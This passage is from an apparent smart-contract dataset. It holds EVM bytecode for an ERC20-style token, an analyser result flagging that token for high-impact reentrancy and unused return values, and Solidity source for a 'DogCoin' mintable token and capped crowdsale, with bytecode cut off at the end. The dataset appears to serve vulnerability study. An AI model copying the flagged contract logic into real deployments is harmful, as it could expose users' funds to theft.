fffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611195306109dd565b6000806111a0610c38565b426040518863ffffffff1660e01b81526004016111c296959493929190612d6a565b6060604051808303818588803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061121491906129fd565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550670de0b6b3a7640000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611325929190612d41565b602060405180830381600087803b15801561133f57600080fd5b505af1158015611353573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137791906129a3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147190612f48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e190612e68565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c89190612f88565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90612f08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ac90612e08565b60405180910390fd5b600081116116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef90612ee8565b60405180910390fd5b6000600a819055506001600b81905550611710610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177e575061174e610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118275750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61183057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118db5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119315750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119495750600e60179054906101000a900460ff165b15611a8757600f54811115611993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198a90612e28565b60405180910390fd5b601054816119a0846109dd565b6119aa91906130be565b11156119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e290612f28565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3657600080fd5b601e42611a4391906130be565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b325750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b885750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9e576000600a819055506004600b819055505b6000611ba9306109dd565b9050600e60159054906101000a900460ff16158015611c165750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2e5750600e60169054906101000a900460ff165b15611c5657611c3c81611e6b565b60004790506000811115611c5457611c5347611d91565b5b505b505b611c638383836120f3565b505050565b6000838311158290611cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca79190612de6565b60405180910390fd5b5060008385611cbf919061319f565b9050809150509392505050565b600080831415611cdf5760009050611d41565b60008284611ced9190613145565b9050828482611cfc9190613114565b14611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3390612ea8565b60405180910390fd5b809150505b92915050565b6000611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612103565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df9573d6000803e3d6000fd5b5050565b6000600854821115611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b90612e48565b60405180910390fd5b6000611e4e612166565b9050611e638184611d4790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea357611ea2613374565b5b604051908082528060200260200182016040528015611ed15781602001602082028036833780820191505090505b5090503081600081518110611ee957611ee8613345565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8b57600080fd5b505afa158015611f9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fc3919061282d565b81600181518110611fd757611fd6613345565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a2959493929190612fa3565b600060405180830381600087803b1580156120bc57600080fd5b505af11580156120d0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120fe838383612191565b505050565b6000808311829061214a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121419190612de6565b60405180910390fd5b50600083856121599190613114565b9050809150509392505050565b600080600061217361235c565b9150915061218a8183611d4790919063ffffffff16565b9250505090565b6000806000806000806121a3876123be565b95509550955095509550955061220186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e2816124ce565b6122ec848361258b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123499190612f88565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061239268056bc75e2d63100000600854611d4790919063ffffffff16565b8210156123b15760085468056bc75e2d631000009350935050506123ba565b81819350935050505b9091565b60008060008060008060008060006123db8a600a54600b546125c5565b92509250925060006123eb612166565b905060008060006123fe8e87878761265b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c68565b905092915050565b600080828461247f91906130be565b9050838110156124c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bb90612e88565b60405180910390fd5b8091505092915050565b60006124d8612166565b905060006124ef8284611ccc90919063ffffffff16565b905061254381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a08260085461242690919063ffffffff16565b6008819055506125bb8160095461247090919063ffffffff16565b6009819055505050565b6000806000806125f160646125e3888a611ccc90919063ffffffff16565b611d4790919063ffffffff16565b9050600061261b606461260d888b611ccc90919063ffffffff16565b611d4790919063ffffffff16565b9050600061264482612636858c61242690919063ffffffff16565b61242690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126748589611ccc90919063ffffffff16565b9050600061268b8689611ccc90919063ffffffff16565b905060006126a28789611ccc90919063ffffffff16565b905060006126cb826126bd858761242690919063ffffffff16565b61242690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126f76126f28461303d565b613018565b9050808382526020820190508285602086028201111561271a576127196133a8565b5b60005b8581101561274a57816127308882612754565b84526020840193506020830192505060018101905061271d565b5050509392505050565b600081359050612763816136be565b92915050565b600081519050612778816136be565b92915050565b600082601f830112612793576127926133a3565b5b81356127a38482602086016126e4565b91505092915050565b6000813590506127bb816136d5565b92915050565b6000815190506127d0816136d5565b92915050565b6000813590506127e5816136ec565b92915050565b6000815190506127fa816136ec565b92915050565b600060208284031215612816576128156133b2565b5b600061282484828501612754565b91505092915050565b600060208284031215612843576128426133b2565b5b600061285184828501612769565b91505092915050565b60008060408385031215612871576128706133b2565b5b600061287f85828601612754565b925050602061289085828601612754565b9150509250929050565b6000806000606084860312156128b3576128b26133b2565b5b60006128c186828701612754565b93505060206128d286828701612754565b92505060406128e3868287016127d6565b9150509250925092565b60008060408385031215612904576129036133b2565b5b600061291285828601612754565b9250506020612923858286016127d6565b9150509250929050565b600060208284031215612943576129426133b2565b5b600082013567ffffffffffffffff811115612961576129606133ad565b5b61296d8482850161277e565b91505092915050565b60006020828403121561298c5761298b6133b2565b5b600061299a848285016127ac565b91505092915050565b6000602082840312156129b9576129b86133b2565b5b60006129c7848285016127c1565b91505092915050565b6000602082840312156129e6576129e56133b2565b5b60006129f4848285016127d6565b91505092915050565b600080600060608486031215612a1657612a156133b2565b5b6000612a24868287016127eb565b9350506020612a35868287016127eb565b9250506040612a46868287016127eb565b9150509250925092565b6000612a5c8383612a68565b60208301905092915050565b612a71816131d3565b82525050565b612a80816131d3565b82525050565b6000612a9182613079565b612a9b818561309c565b9350612aa683613069565b8060005b83811015612ad7578151612abe8882612a50565b9750612ac98361308f565b925050600181019050612aaa565b5085935050505092915050565b612aed816131e5565b82525050565b612afc81613228565b82525050565b6000612b0d82613084565b612b1781856130ad565b9350612b2781856020860161323a565b612b30816133b7565b840191505092915050565b6000612b486023836130ad565b9150612b53826133c8565b604082019050919050565b6000612b6b6019836130ad565b9150612b7682613417565b602082019050919050565b6000612b8e602a836130ad565b9150612b9982613440565b604082019050919050565b6000612bb16022836130ad565b9150612bbc8261348f565b604082019050919050565b6000612bd4601b836130ad565b9150612bdf826134de565b602082019050919050565b6000612bf76021836130ad565b9150612c0282613507565b604082019050919050565b6000612c1a6020836130ad565b9150612c2582613556565b602082019050919050565b6000612c3d6029836130ad565b9150612c488261357f565b604082019050919050565b6000612c606025836130ad565b9150612c6b826135ce565b604082019050919050565b6000612c83601a836130ad565b9150612c8e8261361d565b602082019050919050565b6000612ca66024836130ad565b9150612cb182613646565b604082019050919050565b6000612cc96017836130ad565b9150612cd482613695565b602082019050919050565b612ce881613211565b82525050565b612cf78161321b565b82525050565b6000602082019050612d126000830184612a77565b92915050565b6000604082019050612d2d6000830185612a77565b612d3a6020830184612a77565b9392505050565b6000604082019050612d566000830185612a77565b612d636020830184612cdf565b9392505050565b600060c082019050612d7f6000830189612a77565b612d8c6020830188612cdf565b612d996040830187612af3565b612da66060830186612af3565b612db36080830185612a77565b612dc060a0830184612cdf565b979650505050505050565b6000602082019050612de06000830184612ae4565b92915050565b60006020820190508181036000830152612e008184612b02565b905092915050565b60006020820190508181036000830152612e2181612b3b565b9050919050565b60006020820190508181036000830152612e4181612b5e565b9050919050565b60006020820190508181036000830152612e6181612b81565b9050919050565b60006020820190508181036000830152612e8181612ba4565b9050919050565b60006020820190508181036000830152612ea181612bc7565b9050919050565b60006020820190508181036000830152612ec181612bea565b9050919050565b60006020820190508181036000830152612ee181612c0d565b9050919050565b60006020820190508181036000830152612f0181612c30565b9050919050565b60006020820190508181036000830152612f2181612c53565b9050919050565b60006020820190508181036000830152612f4181612c76565b9050919050565b60006020820190508181036000830152612f6181612c99565b9050919050565b60006020820190508181036000830152612f8181612cbc565b9050919050565b6000602082019050612f9d6000830184612cdf565b92915050565b600060a082019050612fb86000830188612cdf565b612fc56020830187612af3565b8181036040830152612fd78186612a86565b9050612fe66060830185612a77565b612ff36080830184612cdf565b9695505050505050565b60006020820190506130126000830184612cee565b92915050565b6000613022613033565b905061302e828261326d565b919050565b6000604051905090565b600067ffffffffffffffff82111561305857613057613374565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130c982613211565b91506130d483613211565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613109576131086132e7565b5b828201905092915050565b600061311f82613211565b915061312a83613211565b92508261313a57613139613316565b5b828204905092915050565b600061315082613211565b915061315b83613211565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613194576131936132e7565b5b828202905092915050565b60006131aa82613211565b91506131b583613211565b9250828210156131c8576131c76132e7565b5b828203905092915050565b60006131de826131f1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323382613211565b9050919050565b60005b8381101561325857808201518184015260208101905061323d565b83811115613267576000848401525b50505050565b613276826133b7565b810181811067ffffffffffffffff8211171561329557613294613374565b5b80604052505050565b60006132a982613211565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132dc576132db6132e7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136c7816131d3565b81146136d257600080fd5b50565b6136de816131e5565b81146136e957600080fd5b50565b6136f581613211565b811461370057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec47f6ff0a2242328fd69c3dab48b9951f9214d69ece30a97bbce210746f75e364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,346
0x2b022ba25bc7be712dd8e62a5937da54003cdea9
pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract DogCoin is MintableToken { string public name = "DogCoin"; string public symbol = "DOG"; uint256 public decimals = 18; } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } } /** * @title CappedCrowdsale * @dev Extension of Crowsdale with a max amount of funds raised */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap) { require(_cap > 0); cap = _cap; } // overriding Crowdsale#validPurchase to add extra cap logic // @return true if investors can buy at the moment function validPurchase() internal constant returns (bool) { bool withinCap = weiRaised.add(msg.value) <= cap; return super.validPurchase() && withinCap; } // overriding Crowdsale#hasEnded to add cap logic // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { bool capReached = weiRaised >= cap; return super.hasEnded() || capReached; } } contract DogCoinCrowdsale is CappedCrowdsale { function DogCoinCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _cap, address _wallet) CappedCrowdsale(_cap) Crowdsale(_startTime, _endTime, _rate, _wallet) { } // creates the token to be sold. // override this method to have crowdsale of a specific MintableToken token. function createTokenContract() internal returns (MintableToken) { return new DogCoin(); } }
0x606060405236156100965763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416632c4e722e81146100a35780633197cbb6146100c8578063355274ea146100ed5780634042b66f14610112578063521eb2731461013757806378e9792514610166578063ec8ac4d81461018b578063ecb70fb7146101a1578063fc0c546a146101c8575b5b6100a0336101f7565b5b005b34156100ae57600080fd5b6100b6610345565b60405190815260200160405180910390f35b34156100d357600080fd5b6100b661034b565b60405190815260200160405180910390f35b34156100f857600080fd5b6100b6610351565b60405190815260200160405180910390f35b341561011d57600080fd5b6100b6610357565b60405190815260200160405180910390f35b341561014257600080fd5b61014a61035d565b604051600160a060020a03909116815260200160405180910390f35b341561017157600080fd5b6100b661036c565b60405190815260200160405180910390f35b6100a0600160a060020a03600435166101f7565b005b34156101ac57600080fd5b6101b4610372565b604051901515815260200160405180910390f35b34156101d357600080fd5b61014a610395565b604051600160a060020a03909116815260200160405180910390f35b600080600160a060020a038316151561020f57600080fd5b6102176103a4565b151561022257600080fd5b60045434925061023990839063ffffffff6103db16565b60055490915061024f908363ffffffff61040a16565b60055560008054600160a060020a0316906340c10f199085908490604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156102cd57600080fd5b6102c65a03f115156102de57600080fd5b505050604051805190505082600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18848460405191825260208201526040908101905180910390a361033f610424565b5b505050565b60045481565b60025481565b60065481565b60055481565b600354600160a060020a031681565b60015481565b60065460055460009190101561038661045b565b8061038e5750805b91505b5090565b600054600160a060020a031681565b6000806006546103bf3460055461040a90919063ffffffff16565b111590506103cb610464565b801561038e5750805b91505b5090565b60008282028315806103f757508284828115156103f457fe5b04145b15156103ff57fe5b8091505b5092915050565b6000828201838110156103ff57fe5b8091505b5092915050565b600354600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561045857600080fd5b5b565b60025442115b90565b6000806000600154421015801561047d57506002544211155b91505034151581801561048d5750805b92505b505090565b600061049f6104bb565b604051809103906000f08015156104b557600080fd5b90505b90565b604051610e52806104cc833901905600606060409081526003805460a060020a60ff02191690558051908101604052600781527f446f67436f696e000000000000000000000000000000000000000000000000006020820152600490805161005b9291602001906100cb565b5060408051908101604052600381527f444f470000000000000000000000000000000000000000000000000000000000602082015260059080516100a39291602001906100cb565b5060126006555b60038054600160a060020a03191633600160a060020a03161790555b61016b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061010c57805160ff1916838001178555610139565b82800160010185558215610139579182015b8281111561013957825182559160200191906001019061011e565b5b5061014692915061014a565b5090565b61016891905b808211156101465760008155600101610150565b5090565b90565b610cd88061017a6000396000f300606060405236156100e35763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100e857806306fdde031461010f578063095ea7b31461019a57806318160ddd146101d057806323b872dd146101f5578063313ce5671461023157806340c10f1914610256578063661884631461028c57806370a08231146102c25780637d64bcb4146102f35780638da5cb5b1461031a57806395d89b4114610349578063a9059cbb146103d4578063d73dd6231461040a578063dd62ed3e14610440578063f2fde38b14610477575b600080fd5b34156100f357600080fd5b6100fb610498565b604051901515815260200160405180910390f35b341561011a57600080fd5b6101226104b9565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015f5780820151818401525b602001610146565b50505050905090810190601f16801561018c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a557600080fd5b6100fb600160a060020a0360043516602435610557565b604051901515815260200160405180910390f35b34156101db57600080fd5b6101e36105fe565b60405190815260200160405180910390f35b341561020057600080fd5b6100fb600160a060020a0360043581169060243516604435610604565b604051901515815260200160405180910390f35b341561023c57600080fd5b6101e3610716565b60405190815260200160405180910390f35b341561026157600080fd5b6100fb600160a060020a036004351660243561071c565b604051901515815260200160405180910390f35b341561029757600080fd5b6100fb600160a060020a036004351660243561083d565b604051901515815260200160405180910390f35b34156102cd57600080fd5b6101e3600160a